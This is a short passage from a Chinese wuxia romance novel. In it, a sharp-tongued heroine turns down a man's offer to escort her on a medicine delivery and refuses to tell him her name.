“……是什么让你觉得我竟然需要,你,来护送?”我恶狠狠戳了他的胸口一下。 “哦,一般的匪徒自然是不能把姑娘你怎么样,”沈墨白喳喳眼睛,“姑娘有所不知,穆忘尘此人最喜欢你这般二八韶龄,性格古怪的姑娘。我怕他一见到姑娘会兽性大发,他毕竟武功高强,又有整个武林盟的兵力,万一到时候发难,姑娘有我从旁照应总是好的。” 我嘴角抽了抽。 性格古怪是个什么鬼…… 不过,此次去送药,也是为了让我和,十四,有个了断。哎,想来我这辈子真是作孽多端,这一段一段的孽缘,我该怎么了结…… 我一想到十四又开始头疼,沈墨白突然想起了什么,“哦,对了,敢问姑娘怎么称呼?” 我怔了一下。 叫什么呢……我一时还没想好。 于是,我愣了大概一个转瞬之后又傲慢哼了一声,“本小姐的名讳怎是你这种无赖可以肖想的!” 说完,就大踏步转身走了。 沈墨白在背后无奈地摇头笑,我错过了他眼底的那一丝了然。